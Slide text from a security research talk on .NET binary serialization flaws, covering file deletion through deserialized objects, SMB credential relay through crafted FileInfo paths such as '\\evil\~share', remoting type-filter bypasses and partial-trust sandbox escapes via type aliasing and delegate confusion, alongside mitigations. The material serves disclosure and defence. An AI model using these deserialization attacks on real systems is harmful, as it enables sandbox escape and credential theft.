ARE YOU MY TYPE?

Breaking .NET sandboxes through Serialization

James Forshaw
What am I going to talk about?

• The research I did which ended up as MS12-035
• Misuse of Microsoft .NET Binary Serialization
  – Attacking badly written applications
  – Attacking .NET remoting services
  – Circumventing CAS and escaping Partial Trust Sandboxes
• Not all issues have been fixed, some only mitigated
Who are we?

Key facts
- Specialist technical security consultancy
- Approximately 100 strong
- Offices in UK, Germany and Australia

Core Services
- Research
- Assurance
- Response

Research. Response. Assurance
What is Serialization?

"A mechanism to transform a data structure into a form that can be stored or transmitted and later recreated at another time or location"

- James Forshaw - Blackhat USA 2012
Why Serialization?

• Other technologies show it can be dangerous;
  – Java
    • CVE-2008-5353 – Java Calendar Serialization Vulnerability
  – COM
    • See Blackhat 2009 - Attacking Interoperability
  – PHP
    • unserialize() misuse
## .NET Serialization Support

<table>
<thead>
<tr>
<th>Technology</th>
<th>.NET Version Introduced</th>
</tr>
</thead>
<tbody>
<tr>
<td>IFormatter Serialization (Binary and SOAP)</td>
<td>1.0</td>
</tr>
<tr>
<td>XML Serialization</td>
<td>1.0</td>
</tr>
<tr>
<td>Data Contracts (WCF)</td>
<td>3.0</td>
</tr>
<tr>
<td>JSON</td>
<td>3.5</td>
</tr>
</tbody>
</table>
Binary Serialization

• Cannot just serialize any object

```csharp
[Serializable]
class SerializableClass
{
    public string SomeValue;
}
```
Binary Serialization

- Cannot just serialize any object

```csharp
[Serializable]
class SerializableClass
{
    public string SomeValue;
}
```
Binary Serialization

- Cannot just serialize any object

```csharp
[Serializable]  // Must be specified
class SerializableClass
{
    public string SomeValue;
}
```
public static byte[] Serialize(Object o) {
    BinaryFormatter fmt = new BinaryFormatter();
    MemoryStream stm = new MemoryStream();

    fmt.Serialize(stm, o);
    return stm.ToArray();
}
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";

byte[] data = Serialize(c);
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";

byte[] data = Serialize(c);
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";

byte[] data = Serialize(c);

```plaintext
Type Name
```

Research. Response. Assurance
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";

byte[] data = Serialize(c);
SerializableClass c = new SerializableClass();
c.SomeValue = "Hello World!";

byte[] data = Serialize(c);
Badly Written Applications

- With great power comes great responsibility.
- Would the use of the BinaryFormatter in an untrusted scenario be an issue?
- Surely only if you do something to cause a problem?
Implicit Functionality

• What if the very act of deserialization is itself malicious?

    public static SomeClass Deserialize(byte[] data) {
        BinaryFormatter fmt = new BinaryFormatter();
        MemoryStream stm = new MemoryStream(data);

        return fmt.Deserialize(stm) as SomeClass;
    }
Implicit Functionality

- What if the very act of deserialization is itself malicious?

```csharp
public static SomeClass Deserialize(byte[] data)
{
    BinaryFormatter fmt = new BinaryFormatter();
    MemoryStream stm = new MemoryStream(data);

    return fmt.Deserialize(stm) as SomeClass;
}
You might be too late!
```
[Serializable]
class CustomSerializableClass : ISerializable
{
    public string SomeValue;

    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.AddValue("SomeValue", SomeValue);
    }

    // ...
}
[Serializable]
class CustomSerializableClass : ISerializable
{
    public string SomeValue;

    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.AddValue("SomeValue", SomeValue);
    }

    // ...
}

Store value in Dictionary
[Serializable]
class CustomSerializableClass : ISerializable
{
    public string SomeValue;

    // ...

    protected CustomSerializableClass(SerializationInfo info, StreamingContext context)
    {
        SomeValue = info.GetString("SomeValue");
    }
}
[Serializable]
class CustomSerializableClass : ISerializable
{
    public string SomeValue;

    // ...

    protected CustomSerializableClass(SerializationInfo info, StreamingContext context)
    {
        SomeValue = info.GetString("SomeValue");
    }
}

Restore value
## Types of Interest .NET 4

<table>
<thead>
<tr>
<th>Library</th>
<th>Serializable</th>
<th>ISerializable</th>
<th>Callbacks</th>
<th>Finalizable</th>
</tr>
</thead>
<tbody>
<tr>
<td>mscorlib</td>
<td>681</td>
<td>268</td>
<td>56</td>
<td>2</td>
</tr>
<tr>
<td>System</td>
<td>312</td>
<td>144</td>
<td>13</td>
<td>3</td>
</tr>
<tr>
<td>System.Data</td>
<td>103</td>
<td>66</td>
<td>1</td>
<td>2</td>
</tr>
<tr>
<td>System.Xml</td>
<td>33</td>
<td>30</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Management</td>
<td>68</td>
<td>68</td>
<td>0</td>
<td>4</td>
</tr>
</tbody>
</table>
Just Being Malicious

```csharp
[Serializable]
public class TempFileCollection
{
    private Hashtable files;
    // Other stuff...
    ~TempFileCollection()
    {
        foreach (string file in files.Keys)
        {
            File.Delete(file);
        }
    }
}
```
[Serializable]
public class TempFileCollection
{
    private Hashtable files; // Deserialized list of files
    // Other stuff...
    ~TempFileCollection()
    {
        foreach (string file in files.Keys)
        {
            File.Delete(file);
        }
    }
}
[Serializable]
public class TempFileCollection
{
    private Hashtable files;  // Deserialized list of files
    // Other stuff...
~TempFileCollection()
{
    foreach (string file in files.Keys)
    {
        File.Delete(file);  // Makes sure to delete them when object destroyed!
    }
}
}
Demonstration

• Demo of malicious serialized object, deleting arbitrary files
• Using a "badly" written application which deserializes untrusted input
• Windows 7
How to protect against this?

- Use of SerializationBinder to limit types deserialized
- Do not trust external data with BinaryFormatter
- Use something else (e.g. XMLSerializer, Data Contracts, Protobuf.NET)
I Am Feeling Safer Already!

- So you are not using BinaryFormatter in your code, you are safe, right?
- Well maybe, are you using:
  - .NET Remoting?
  - Partial Trust Sandboxes?
- If yes then you could still be vulnerable without knowing it
.NET Remoting Architecture

AppDomain Boundary

AppDomain

AppDomain

Research. Response. Assurance
.NET Remoting Architecture

AppDomain Boundary

AppDomain

Well Known Service

AppDomain

Research. Response. Assurance
.NET Remoting Architecture

AppDomain Boundary

AppDomain

RemObject.DoWork(a)

Well Known Service

AppDomain

Research. Response. Assurance
.NET Remoting Architecture

AppDomain Boundary

AppDomain

RemObject.DoWork(a)

TCP Channel

Well Known Service

AppDomain
.NET Remoting Architecture

AppDomain Boundary

AppDomain

TCP Channel

Well Known Service

AppDomain

RemObject.DoWork(a)
.NET Remoting Architecture

AppDomain Boundary

remObject.DoWork(a)

AppDomain

TCP Channel

Well Known Service

AppDomain
.NET Remoting Architecture

AppDomain Boundary

RemObject.DoWork(a) → TCP Channel → Well Known Service

AppDomain

Research. Response. Assurance
Marshal By Reference

AppDomain Boundary

RemObject.DoWork(a)

AppDomain

ObjRef

Marshal By Reference Object

Transparent Proxy

TCP Channel

AppDomain

Research. Response. Assurance
Marshal By Value

AppDomain Boundary

RemObject.DoWork(a)

AppDomain

Serializable Object

TCP Channel

Well Known Service

AppDomain
Marshal By Value

RemObject.DoWork(a)

AppDomain

TCP Channel

Well Known Service

AppDomain

Research. Response. Assurance
Marshal By Value

AppDomain Boundary

RemObject.DoWork(a)

AppDomain

Serializable Object

TCP Channel

AppDomain

Serializable Object

Research. Response. Assurance
More Active Attacks

```csharp
[Serializable]
public class FileInfo
{
    private string FullPath;

    protected FileInfo(SerializationInfo info, StreamingContext context)
    {
        FullPath = NormalizePath(info.GetString("FullPath"));
    }
}
```
More Active Attacks

```csharp
[Serializable]
public class FileInfo
{
    private string FullPath;

    protected FileInfo(SerializationInfo info, StreamingContext context)
    {
        FullPath = NormalizePath(info.GetString("FullPath"));
    }
}
```

Ensures path is canonical
```csharp
string NormalizePath(string path)
{
    string[] parts = path.Split('\\');

    foreach (string part in parts)
    {
        currPath += "\\" + part;
        if (part[0] == '~')
        {
            GetLongPathName(currPath);
        }
    }
}
```
Path Normalization

```csharp
string NormalizePath(string path)
{
    string[] parts = path.Split('\\');
    foreach (string part in parts)
    {
        currPath += "\\" + part;
        if (part[0] == '~')
        {
            GetLongPathName(currPath);
        }
    }
}
```

If potential short path call Windows API
Exploiting FileInfo

- Pass in a filename of the form:
  - `\evil\~share`
- Application will make an SMB request during deserialization
- SMB Reflection/Relay anyone?
They Saw Us Coming

Automatic Deserialization in .NET Framework

Remoting

This topic is specific to a legacy technology that is retained for backward compatibility with existing applications and is not recommended for new development. Distributed applications should now be developed using the Windows Communication Foundation (WCF).

Remoting systems that rely on run-time type validation must deserialize a remote stream to begin using it and an unauthorized client might try to exploit the moment of deserialization. To help protect against this type of attack, .NET Framework remoting provides two levels of automatic deserialization, **Low** and **Full. Low**, the default value, protects against deserialization attacks by deserializing only the types associated with the most basic remoting functionality, such as automatic deserialization of remoting infrastructure types, a limited set of system-implemented types, and a basic set of custom types. The **Full** deserialization level supports automatic deserialization of all types that remoting supports in all situations.
They Saw Us Coming

Automatic Deserialization in .NET Framework
Remoting

Remoting systems that rely on run-time type validation must deserialize a remote stream to begin using it and an unauthorized client might try to exploit the moment of deserialization.

Unauthorized client might try to exploit the moment of deserialization. To help protect against this type of attack, .NET Framework remoting provides two levels of automatic deserialization, Low and Full. Low, the default value, protects against deserialization attacks by deserializing only the types associated with the most basic remoting functionality, such as automatic deserialization of remoting infrastructure types, a limited set of system-implemented types, and a basic set of custom types. The Full deserialization level supports automatic deserialization of all types that remoting supports in all situations.
TypeFiltering

Attacker

FileInfo
\evil\~share

TCP Channel

Remote Server
TypeFiltering

Attacker

TCP Channel

Remote Server

FileInfo
\evil\share

context
INFORMATION SECURITY
Bypassing TypeFiltering

Attacker

DataSet

TCP Channel

Remote Server

Research. Response. Assurance
Bypassing TypeFiltering

Attacker

Remote Server

DataSet

DataSet

TCP Channel
Bypassing TypeFiltering

Attacker

DataSet

TCP Channel

Remote Server

DataSet

Research. Response. Assurance
Bypassing TypeFiltering

Attacker

TCP Channel

Remote Server

SMB \evil\~share

DataSet

DataSet
Demonstration

- Demo of malicious serialized object with SMB reflection
- This demo only works on OSes prior to MS08-068 (using XP SP2)
- The actual issue however isn't fixed
- Can still be used for information gathering or credential relay on an up to date OS
How to protect against this?

• Windows Communication Foundation (WCF) is recommended for new applications
  – Don't expose to the Internet
  – Enable Authentication

• However, “What works up, probably works down”

• Impersonate server and attack clients
Partial Trust Sandboxes

Host AppDomain

Host Class
Partial Trust Sandboxes

Host AppDomain

Channel

Host Class
Partial Trust Sandboxes

Host AppDomain

Host Class

Channel

PT AppDomain

Research. Response. Assurance
Partial Trust Sandboxes

Host AppDomain

Host Class

Channel

PT AppDomain

Untrusted Class
Partial Trust Sandboxes

Host AppDomain - Channel - PT AppDomain

Host Class

Untrusted Class

Research. Response. Assurance
Partial Trust Sandboxes
Code Access Security

• Some God like privileges:
  – Unmanaged Code Access
  – Control AppDomain
  – Skip IL Verification
  – Access to Serialization Services!

• Will not have Serialization permission

• Find an AppDomain transition!
Easier Than You Would Think!

```csharp
Exception ex = new Exception();
ex.Data.Add("ExploitMe", new SerializableClass());
throw ex;
```
Easier Than You Would Think!

• In XBAP the following code passes objects across the boundary:

```csharp
Exception ex = new Exception();  // Exception class is serializable
ex.Data.Add("ExploitMe", new SerializableClass());
throw ex;
```

• Fixed as CVE-2012-0161
Easier Than You Would Think!

- In XBAP the following code passes objects across the boundary:

```csharp
Exception ex = new Exception();
ex.Data.Add("ExploitMe", new SerializableClass());
throw ex;
```

- Fixed as CVE-2012-0161
Easier Than You Would Think!

• In XBAP the following code passes objects across the boundary:

```csharp
Exception ex = new Exception();
ex.Data.Add("ExploitMe", new SerializableClass());
throw ex;  // Cross boundary causing serialization then deserialization
```

• Fixed as CVE-2012-0161
We Still Have a Problem

- Need privileged access to create or manipulate vulnerable classes.
- Cannot directly provide binary stream
- How can partial trust code possibly manipulate the serialization process?
[Serializable]
class CustomSerializableClass : ISerializable
{
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        // Change our type to something else!
        info.SetType(typeof(FileInfo));

        info.AddValue("OriginalPath", @"\server\~share");
    }
}
[Serializable]
class CustomSerializableClass : ISerializable
{
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        // Change our type to something else!
        info.SetType(typeof(FileInfo));
        info.AddValue("OriginalPath", @"\server\~share");
    }
}
[Serializable]
class CustomSerializableClass : ISerializable
{
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        // Change our type to something else!
        info.SetType(typeof(FileInfo));

        info.AddValue("OriginalPath", @"\\server\~share");
    }
}

Fake serialization data
Deserialized as an unrelated type
Type Conversion

AppDomain Boundary

Host AppDomain <-> Channel <-> PT AppDomain

Exception

Research. Response. Assurance
Type Conversion

AppDomain Boundary

Host AppDomain

Channel

PT AppDomain

Research. Response. Assurance
Type Conversion

Host AppDomain

Exception

AppDomain Boundary

Channel

PT AppDomain

Exception

Round Trip Serialize Exception Data

Research. Response. Assurance
But So What?

• What can we actually use this for?
• Could probably do SMB reflection etc. again but we have code running on the machine, we must be able to do better?
• What if we could get back the object we deserialized?
Attack of the Clones

- *EvidenceBase* Class added to .NET 4
- Marked as serializable
- Implements a *Clone* method
  - Common programming technique to copy object state
public virtual EvidenceBase Clone()
{
    using (MemoryStream stream = new MemoryStream())
    {
        BinaryFormatter formatter = new BinaryFormatter();
        formatter.Serialize(stream, this);
        stream.Position = 0L;
        return formatter.Deserialize(stream) as EvidenceBase;
    }
}
EvidenceBase.Clone

[SecurityPermission(SecurityAction.Assert, SerializationFormatter = true)]
public virtual EvidenceBase Clone()
{
    using (MemoryStream stream = new MemoryStream())
    {
        BinaryFormatter formatter = new BinaryFormatter();
        formatter.Serialize(stream, this);
        stream.Position = 0L;
        return formatter.Deserialize(stream) as EvidenceBase;
    }
}
Exploiting It!

MyEvidenceBase

clone

PT App Domain

MyEvidenceBase

Research. Response. Assurance
Delegates

• A fundamental type in the .NET runtime
  – Gets special treatment for reasons of performance
• Effectively a fancy function pointer
• Crucially it is serializable
delegate void MyDelegatePtr(IntPtr p);

public static void DoSomethingPtr(IntPtr p)
{
    Console.WriteLine(p);
}

public RunDelegate()
{
    MyDelegatePtr d = Delegate.Combine(
        new MyDelegatePtr(DoSomethingPtr),
        new MyDelegatePtr(DoSomethingPtr));

    d(new IntPtr(0x12345678));
}
delegate void MyDelegatePtr(IntPtr p);  // Type of delegate

public static void DoSomethingPtr(IntPtr p)
{
    Console.WriteLine(p);
}

public RunDelegate()
{
    MyDelegatePtr d = Delegate.Combine(
        new MyDelegatePtr(DoSomethingPtr),
        new MyDelegatePtr(DoSomethingPtr));

    d(new IntPtr(0x12345678));
}
delegate void MyDelegatePtr(IntPtr p);  // Type of delegate

public static void DoSomethingPtr(IntPtr p)
{
    Console.WriteLine(p);
}

public RunDelegate()
{
    MyDelegatePtr d = Delegate.Combine(
        new MyDelegatePtr(DoSomethingPtr),
        new MyDelegatePtr(DoSomethingPtr));

    d(new IntPtr(0x12345678));  // Calls DoSomethingPtr twice with the same parameter
}
delegate void MyDelegatePtr(IntPtr p);

public static void DoSomethingPtr(IntPtr p)
{
    Console.WriteLine(p);
}

public RunDelegate()
{
    MyDelegatePtr d = Delegate.Combine(
        new MyDelegatePtr(DoSomethingPtr),
        new MyDelegatePtr(DoSomethingPtr));

    d(new IntPtr(0x12345678));
}
delegate void MyDelegateStr(String s);

public static void DoSomethingStr(String s) {}

public RunDelegate()
{
    MyDelegatePtr d = Delegate.Combine(
        new MyDelegatePtr(DoSomethingPtr),
        new MyDelegateStr(DoSomethingStr));

    d(new IntPtr(0x12345678));
}
delegate void MyDelegateStr(String s);

public static void DoSomethingStr(String s) {}

public RunDelegate()
{
    MyDelegatePtr d = Delegate.Combine(
        new MyDelegatePtr(DoSomethingPtr),
        new MyDelegateStr(DoSomethingStr));

    d(new IntPtr(0x12345678));
}
public RunDelegate()
{
    // Get a delegate combining IntPtr and String types
    MyDelegatePtr d = GetSerializedDelegate();

    d(new IntPtr(0x12345678));
}
public RunDelegate()
{
    // Get a delegate combining IntPtr and String types
    MyDelegatePtr d = GetSerializedDelegate();

    d(new IntPtr(0x12345678)); // Now what will this do?
}
Type Confusion

eax=000d3888 ebx=0035b798 ecx=12345678
dedx=12345678 esi=0024eaec edi=00000001
eip=002f09fb esp=0024eaac ebp=0024eab4 iopl=0
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b

002f09fb 8b01 mov eax,dword ptr [ecx] ds:002b:12345678=????????
002f09fd 8b4028 mov eax,dword ptr [eax+28h]
002f0a00 ff10 call dword ptr [eax]

0:000> !clrstack
OS Thread Id: 0x12a0 (0)
Child SP IP Call Site
0024eaac 002f09fb Demo.DoSomethingStr(System.String)
0024eae4 000ca2be Demo+MyDelegatePtr.Invoke(IntPtr)
0024eaf4 002f054b Demo.DoTypeConfusion()
Type Confusion

eax=000d3888 ebx=0035b798 ecx=12345678
edx=12345678 esi=0024eaec edi=00000001
eip=002f09fb esp=0024eaec ebp=0024eab4 iopl=0
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b

002f09fb 8b01 mov eax,dword ptr [ecx] ds:002b:12345678=????????
002f09fd 8b4028 mov eax,dword ptr [eax+28h]
002f0a00 ff10 call dword ptr [eax]

ECX Points to Fake Value

0:000> !clrstack
OS Thread Id: 0x12a0 (0)
Child SP IP Call Site
0024eaec 002f09fb Demo.DoSomethingStr(System.String)
0024eae4 000ca2be Demo+MyDelegatePtr.Invoke(IntPtr)
0024eaf4 002f054b Demo.DoTypeConfusion()
Type Confusion

ECX Points to Fake Value

Results in a VTable look up and call

eax=000d3888 ebx=0035b798 ecx=12345678
drx=12345678 esi=0024eaec edi=00000001
eip=002f09fb esp=0024eaac ebp=0024eab4 iopl=0
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b

002f09fb  8b01     mov    eax,dword ptr [ecx]  ds:002b:12345678=????????
002f09fd  8b4028   mov    eax,dword ptr [eax+28h]
002f0a00  ff10     call   dword ptr [eax]

0:000> !clrstack
OS Thread Id: 0x12a0 (0)
Child SP IP        Call Site
0024eaac 002f09fb  Demo.DoSomethingStr(System.String)
0024eaec 000ca2be  Demo+MyDelegatePtr.Invoke(IntPtr)
0024eaf4 002f054b  Demo.DoTypeConfusion()
Type Confusion

ECX Points to Fake Value

Results in a VTable look up and call

Clearly Confused

eax=000d3888 ebx=0035b798 ecx=12345678
ddx=12345678 esi=0024eaac edi=00000001
eip=002f09fb esp=0024eaac ebp=0024eab4 iopl=0
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b

002f09fb 8b01 mov eax,dword ptr [ecx] ds:002b:12345678=????????
002f09fd 8b4028 mov eax,dword ptr [eax+28h]
002f0a00 ff10 call dword ptr [eax]

OS Thread Id: 0x12a0 (0)
Child SP IP Call Site
0024eaac 002f09fb Demo.DoSomethingStr(System.String)
0024eaac 000ca2be Demo+MyDelegatePtr.Invoke(IntPtr)
0024eaf4 002f054b Demo.DoTypeConfusion()
Demonstration

- Quick demo in a Click Once Application
- Fixed in CVE-2012-0160
- Windows 7
Reflection Attack

- *EvidenceBase* isn't exactly subtle
  - Clearly a bug and should be fixed
- What if we could do the same but:
  - Without any specific bug
  - Works in any version of .NET
  - Also be difficult to fix 😊
public class Hashtable
{
    object[] keys;
    object[] values;
    HashBuckets buckets;

    protected Hashtable(SerializationInfo info, StreamingContext context)
    {
        keys = (object[])info.GetValue("keys");
        values = (object[])info.GetValue("values");
        buckets = RebuildHashTable(keys, values);
    }
}
public class Hashtable
{
    object[] keys;
    object[] values;
    HashBuckets buckets;

    protected Hashtable(SerializationInfo info, StreamingContext context)
    {
        keys = (object[]) info.GetValue("keys");
        values = (object[]) info.GetValue("values");
        buckets = RebuildHashTable(keys, values);
    }
}
public class Hashtable
{
    object[] keys;
    object[] values;
    HashBuckets buckets;

    protected Hashtable(SerializationInfo info, StreamingContext context)
    {
        keys = (object[])info.GetValue("keys");
        values = (object[])info.GetValue("values");
        buckets = RebuildHashTable(keys, values);
    }
}
IEqualityComparer comparer;

private HashBuckets RebuildHashtable(object[] keys, object[] values)
{
    HashBuckets ret = new HashBuckets();
    for (int i = 0; i < keys.Length; ++i)
    {
        ret.Add(comparer.GetHashCode(keys[i]), values[i]);
    }
    return ret;
}
IEqualityComparer comparer;  // Serialized with Hashtable

private HashBuckets RebuildHashtable(object[] keys, object[] values)
{
    HashBuckets ret = new HashBuckets();
    for (int i = 0; i < keys.Length; ++i)
    {
        ret.Add(comparer.GetHashCode(keys[i]), values[i]);
    }
    return ret;
}
Hashtable Serialization

```csharp
IEqualityComparer comparer;  // Serialized with Hashtable

private HashBuckets RebuildHashtable(object[] keys,
                                      object[] values)
{
    HashBuckets ret = new HashBuckets();
    for (int i = 0; i < keys.Length; ++i)
    {
        ret.Add(comparer.GetHashCode(keys[i]), values[i]);
    }
    return ret;
}
```

Calls method passing back keys
Hashtable Serialization

```
IEqualityComparer comparer;  // Serialized with Hashtable

private HashBuckets RebuildHashtable(object[] keys, object[] values)
{
    HashBuckets ret = new HashBuckets();
    for (int i = 0; i < keys.Length; ++i)
    {
        ret.Add(comparer.GetHashCode(keys[i]), values[i]);
    }
    return ret;
}
```

What if this wasn't serialized?

Calls method passing back keys
Hashtable Exploit

AppDomain Boundary

Host AppDomain

Channel

PT AppDomain

MyEqualityComparer

Hashtable

Research. Response. Assurance
Hashtable Exploit

AppDomain Boundary

Host AppDomain ↔ Channel ↔ PT AppDomain

MyEquality Comparer

Research. Response. Assurance
Hashtable Exploit

Host AppDomain

Hashtable

Channel

Round Trip Serialize Keys, pass reference to Comparer

AppDomain Boundary

PT AppDomain

MyEquality Comparer

Hashtable

Research. Response. Assurance
Hashtable Exploit

AppDomain Boundary

Call GetHashCode passing back each Key

Host AppDomain

Hashtable

Channel

PT AppDomain

MyEquality Comparer

Hashtable

Round Trip Serialize Keys, pass reference to Comparer
Demonstration

• Quick demo in an XBAP
• Worked until May 2012 on any supported platform
• Route to attack vector closed but underlying vulnerability still exists
How to protect against this?

- Tricky!
- Technically only using normal functions
- Potential for back-compat issues
- Microsoft's fix was to block type aliasing via SerializationInfo.SetType()
- And block XBAP for ever more 😊
Review

• More than just the 2 fixes in MS12-035
  – Numerous issues across the framework
• Attacks from Partial Trust mitigated
• .NET Remoting isn't fixed, you should be using WCF instead!
• Number of objects which still might do “bad” things
Questions?

• More info in Whitepaper
References

• Twitter: @tiranidido, @ctxis

• Email: whitepapers@contextis.com

• WWW: http://www.contextis.com